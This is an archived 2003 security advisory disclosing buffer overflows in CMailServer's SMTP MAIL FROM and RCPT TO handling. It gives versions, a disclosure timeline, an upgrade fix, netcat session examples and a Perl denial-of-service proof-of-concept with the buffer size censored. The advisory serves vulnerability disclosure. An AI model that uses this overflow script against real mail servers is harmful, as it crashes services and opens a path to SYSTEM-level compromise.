[NT] Multiple Buffer Overflow Vulnerabilities found in CMailServer (MAIL, RCPT)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/12/03

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    Date: 12 May 2003 13:55:00 +0200
    
    

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      Multiple Buffer Overflow Vulnerabilities found in CMailServer (MAIL, RCPT)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.youngzsoft.net/index.html> CMailServer, "a small and easy to
    administer email server software and web mail server software, can help
    you build your own email server for Win NT/2000/XP". A buffer overflow
    vulnerability has been found in the SMTP protocol, within the CMailServer
    SMTP Service, causing the service to shutdown. It is possible to actually
    overwrite the exception handler on the stack allowing a system compromise
    with code execution running as SYSTEM.

    DETAILS

    Vulnerable systems:
     * CMailServer version 4.0.2002.11.24

    Immune systems:
     * CMailServer version 4.0.2003.03.30

    When a malicious attacker sends a large amount into the "MAIL FROM" and
    the "RCPT TO" The buffer will overflow. If the code was carefully crafted,
    attackers could execute arbitrary command in system privilege.

    Example:
    nc warlab.dk 25
    220 ESMTP CMailServer 4.0.2003.03.27 SMTP Service Ready
    HELO Foobar
    250 win2k-serv
    Mail From : <aaaaa....[Buffer size 2000 Bytes @warlab.dk]
    <Connection closed>

    The same Vulnerability is in the RCPT TO
    nc warlab.dk 25
    220 ESMTP CMailServer 4.0.2003.03.27 SMTP Service Ready
    HELO Foobar
    250 win2k-serv
    Mail From : admin@warlab.dk
    250 <admin@warlab.dk> Sender Ok
    Rcpt To: <aaaaa....[Buffer size 2000 Bytes @warlab.dk]
    <connection closed>

    Solution:
    Upgrading to the latest version solves this issue.

    Disclosure timeline:
    24/04/2003 The vulnerability was discovered, analysis has been made.
    29/04/2003 Contacted Vendor at support@youngzsoft.net
    30/04/2003 Received response from vendor with a fix to test
    01/05/2003 New version tested negative for the vulnerabilities
    10/05/2003 Public Disclosure.

    Exploit:
    #!/usr/bin/perl -w
    ##################
    # ESMTP CMailServer 4.0.2003.03.27 SMTP Service DoS attack
    #
    # URL: http://www.infowarfare.dk/
    # EMAIL: der@infowarfare.dk
    # USAGE: sploit.pl <target ip>
    #
    # Summary:
    #
    # The problem is a Buffer Overflow in the SMTP protocol, within the
    # ESMTP CMailServer, causing the service to shutdown
    # It is then where we can actually overwrite the exception handler on the
    stack allowing
    # A system compromise with code execution running as SYSTEM.
    #
    #
    # Ive censored some of the source code out. =)
    #
    # Solution:
    # None at this time
    #
    #

    use IO::Socket;
        
    $target = shift() || "warlab.dk";
    my $port = 25;
    my $Buffer = "A" x <CENSORED> ; #

    my $sock = IO::Socket::INET->new (
                                        PeerAddr => $target,
                                        PeerPort => $port,
                                        Proto => 'tcp'
                                     ) || die "could not connect: $!";

    my $banner = <$sock>;
    if ($banner !~ /^2.*/)
    {
        print STDERR "Error: invalid server response '$banner'.\n";
        exit(1);
    }

    print $sock "HELO $target\r\n";
    $resp = <$sock>;

    print $sock "MAIL FROM: $Buffer\@$target.dk\r\n";
    $resp = <$sock>;

    print $sock "\r\n";
    print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

    close($sock);

    ADDITIONAL INFORMATION

    The vulnerability was discovered and reported by
    <mailto:der@infowarfare.dk> Dennis Rand.

    ========================================

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